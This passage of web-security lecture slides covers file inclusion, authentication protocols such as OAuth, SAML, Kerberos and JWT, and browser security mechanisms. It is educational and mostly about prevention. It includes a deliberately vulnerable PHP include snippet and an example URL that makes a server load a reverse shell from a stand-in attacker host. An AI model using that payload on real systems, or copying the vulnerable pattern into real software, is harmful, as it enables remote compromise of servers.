cross-site scripting vulnerabilities.
• If the application dynamically includes arbitrary
source code files and the attacker is able to
upload or change files, it can be used to escalate
to remote code execution.

159
Avoidance of local file inclusion

• Completely avoid passing filenames in user


input. This includes not just direct user input but
also other data sources that can be manipulated
by the attacker, for example, cookies.
• If your application requires you to use filenames
from user input and there is no way around it,
create a whitelist of safe files.

160
Avoidance of local file inclusion

• If you cannot create a whitelist because you use


arbitrary filenames (for example, if users upload
the files), store filenames in the database and
use table row identifiers in user input. You can
also use URL mappings to identify files with no
risk of local file inclusion.

161
Remote file inclusion

• Remote file inclusion (RFI) is a web vulnerability


that lets a malicious hacker force the application
to include arbitrary code files imported from
another location, for example, a server controlled
by the attacker.

162
Remote file inclusion

• Many programming languages, including those used


on the server side for developing web applications,
let the developer include source code from other
files. Some functions used to include source code
only allow you to include local files, but in some
languages, they also allow inclusion by URL.
• This is useful for including, for example, source code
files located on other servers in a complex multi-
server application.

163
Remote file inclusion

• Such inclusion is often static, i.e. the URL of the file is


defined in the source code and cannot be modified.
• However, in some applications, the developer may
want to include a file dynamically from a remote
location. If so, the URL of the remote file might be
passed in a user input parameter.

164
Remote file inclusion

• Remote file inclusion vulnerabilities happen when a


malicious actor can modify user input to include their
own remote files.
• This vulnerability most often happens in applications
and APIs written in older versions of PHP with
the include expression.
• In the case of other common web application
programming languages, including files in a similar
way requires much more complex programming
constructs.
165
Remote file inclusion

• Note that the ability to include remote files has been


deprecated since PHP 7.4.0, released in November
2019.

166
Example of remote file inclusion

• The developer of a PHP application wants to


include a source code file from another server
but the included file is not static. The following is
a code snippet from the index.php file.

• <?PHP
• $module = $_GET["module"];
• include $module;
• ?>

167
Example of remote file inclusion

• The server runs PHP 7.3.33. The php.ini file


includes the following configuration parameter:

• allow_url_include = On
• This parameter (deprecated in PHP 7.4.0)
means that the include expression can parse a
URL and include a file from that URL.

168
Example of remote file inclusion

• The URL is taken directly from the GET HTTP


request, so you can include the module
http://server2.example.com/welcome.php as
follows:

• http://example.com/index.php?module=http://ser
ver2.example.com/welcome.php

169
Example of remote file inclusion

• The attacker manipulates the GET request sent


to index.php to include a URL with a pentest
monkey reverse shell script configured to
connect to an attacker-controlled server:
• http://example.com/index.php?module=http://atta
cker.example2.com/php-reverse-shell.php
• As a result, the application runs the code of the
reverse shell (remote code execution), granting
the attacker remote access to the server
command line.
170
Consequences of remote file
inclusion
• Ransomware or other malware
• Crypto currency mining
• Sensitive data theft
• backdoor

171
Prevention of remote file inclusion

• Completely avoid using user input in include


expressions. This means not just URLs coming
from direct user input such as GET/POST HTTP
parameters but also other data sources that can
be manipulated by the attacker, for example,
cookies and headers.
• If your application requires you to use dynamic
includes and there is no way around it, create a
whitelist of safe files.

172
Demonstration using DVWA

• Login to the DVWA

173
Demonstration using DVWA
• If you click on one file and see the content also
see in URL, the filename is there

174
Demonstration using DVWA
• Another file

175
Demonstration

• You can intercept that file using Burp tool

176
Demonstration

• Modified the path using ../ (6 times)

177
Demonstration

• See the content of the file is displayed

178
Authentication and
Session
management
Introduction

• Authentication and session management are


crucial to ensuring that users are securely
identified and their sessions remain protected
against attacks.
• Poor implementation of these mechanisms can
lead to unauthorized access, session hijacking,
and privilege escalation.
Authentication

• Authentication verifies the identity of users


before granting access to a system. It ensures
that only legitimate users can interact with web
applications.
Types of authentication
• Single-Factor Authentication (SFA) – Only one
method, like a password, is used for authentication.
• Two-Factor Authentication (2FA) – Requires two
forms of verification (e.g., password + OTP).
• Multi-Factor Authentication (MFA) – Uses two or
more factors, such as a password, biometrics, and
OTP.
• Passwordless Authentication – Uses alternative
methods like biometrics, magic links, or
authentication apps.
Best practice for secure authentication

• Secure password management


• Store passwords securely
• Secure authentication mechanism
Secure Authentication protocol

• Authentication protocols ensure secure user


verification and prevent unauthorized access.
• Commonly used protocols include OAuth 2.0,
OpenID Connect, SAML, Kerberos, and JWT.
OAuth 2.0 (Open authorization)

• OAuth 2.0 (Open Authorization) is an open


standard for secure, delegated access. It
allows third-party applications to request access
to user resources without exposing
credentials.
• It relies on tokens instead of password. Issues
tokens from authorization server upon user
consent.
OAuth 2.0 Grant Types
1. Authorization Code Flow: Secure, recommended for
web apps.
2. Implicit Flow: Deprecated due to security risks. (In
URL)
3. Client Credentials Flow: Used for machine-to-
machine authentication. (No user interaction)
4. Password Grant Flow: Not recommended due to
credential exposure.
5. Device Code Flow: Used for devices without a
browser (e.g., smart TVs).
OpenID Connect (OIDC)

• OIDC is an authentication layer built on OAuth


2.0.
- Adds an ID token for user identity verification.
- Uses JWT(JSON web tokens) for authentication.
- Commonly used in Google, Microsoft, and social
logins.
SAML (Security Assertion Markup
Language)
• SAML is an XML-based authentication protocol
used for enterprise Single Sing-On (SSO).
- Enables Single Sign-On (SSO) for corporate
environments.
- Relies on Identity Providers (IdP) and Service
Providers (SP).
- Used in enterprise applications like Google
Workspace, Azure AD.
How SAML Works

1. User requests access to a service (Service


Provider - SP).
2. SP redirects the user to the Identity Provider
(IdP).
3. User authenticates with the IdP (e.g.,
corporate login).
4. IdP generates a SAML Assertion and sends it
to the SP.
Kerberos Authentication

• Kerberos is a ticket-based authentication


protocol for enterprise networks.
- Uses a Key Distribution Center (KDC) for
authentication.
- Issues Ticket Granting Ticket (TGT)
- Prevents password replay attacks.
- Commonly used in Windows Active Directory.
How Kerberos works?

• User authenticates with a central Key Distribution


Center (KDC).
• KDC issues a Ticket Granting Ticket (TGT).
• When the user requests access to a service,
KDC provides a service ticket.
• The user presents the service ticket to the
resource server for access.
JSON Web Token (JWT)

• JWT is a token-based authentication method


used in stateless systems.
- Compact, self-contained token format.
- Used in API authentication and microservices.
- Contains three parts: Header, Payload, Signature.
How JWT Works

1. User authenticates and receives a JWT token.


2. The client stores the JWT (usually in local
storage or HTTP-only cookies).
3. The client includes the token in API requests
(Authorization: Bearer <token>).
4. The server validates the token’s signature
before granting access.
JWT structure

• Header.Payload.Signature
• Header: Specifies the algorithm (e.g., HS256).
• Payload: Contains claims (e.g., user ID, role).
• Signature: Verifies authenticity.
• EX.
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2
VySWQiOjEsInJvbGUiOiJ1c2VyIn0.KAkljsR1yq
Comparison of Authentication
Protocols
• OAuth 2.0: Best for API authorization.
• OIDC: Best for authentication and SSO.
• SAML: Used for enterprise SSO.
• Kerberos: Best for enterprise networks.
• JWT: Best for stateless authentication.
Security Best Practices

• - Use OAuth 2.0 with PKCE for web apps.


• - Avoid storing tokens in local storage.
• - Use short-lived tokens with refresh tokens.
• - Implement multi-factor authentication (MFA).
• - Encrypt and sign authentication tokens.
Security
Architecture of Web
Browsers
An Overview of Key Security Mechanisms
Introduction

• Modern web browsers implement multiple


security mechanisms to protect users from
malicious attacks, data theft, and unauthorized
access.
Sandboxing

• Process Isolation: Each tab runs in a separate


process.
• Site Isolation: Prevents sites from accessing
each other's data.
• Restricted System Access: Prevents direct OS-
level interactions.
Same-Origin Policy (SOP)

• Restricts interaction between different domains.


• Prevents unauthorized access to sensitive data.
• Can be relaxed using CORS (Cross-Origin
Resource Sharing).
Secure Communication

• HTTPS (TLS/SSL): Encrypts data between client


and server.
• HSTS (HTTP Strict Transport Security): Forces
HTTPS usage.
• Certificate Validation: Ensures website
authenticity.
JavaScript & Plugin Security

• JavaScript restricted by Same-Origin Policy.


• Content Security Policy (CSP) prevents XSS
attacks.
• Legacy plugins (NPAPI, ActiveX) deprecated for
security reasons.
Anti-Phishing & Anti-Malware
Protections
• Safe Browsing APIs warn users about malicious
sites.
• Certificate Pinning detects fraudulent SSL
certificates.
• Blocklists & heuristics prevent phishing and
malware attacks.
Privacy & Tracking Protection

• Incognito Mode prevents history and cookie


storage.
• Third-party cookie blocking prevents tracking.
• Fingerprinting protection limits unique user
identification.
Extensions & Add-ons Security

• Permission models restrict access to browser


data.
• Code review ensures safe extensions.
• Extensions are sandboxed to prevent
unauthorized actions.
Automatic Updates & Patch
Management
• Background updates ensure security fixes are
applied.
• Security advisories notify users about critical
vulnerabilities.
• Patch management helps prevent exploits.
Conclusion

• Modern web browsers implement multi-layered


security architectures with sandboxing,
encryption, origin policies, and user protections
to ensure a safe browsing experience.

You might also like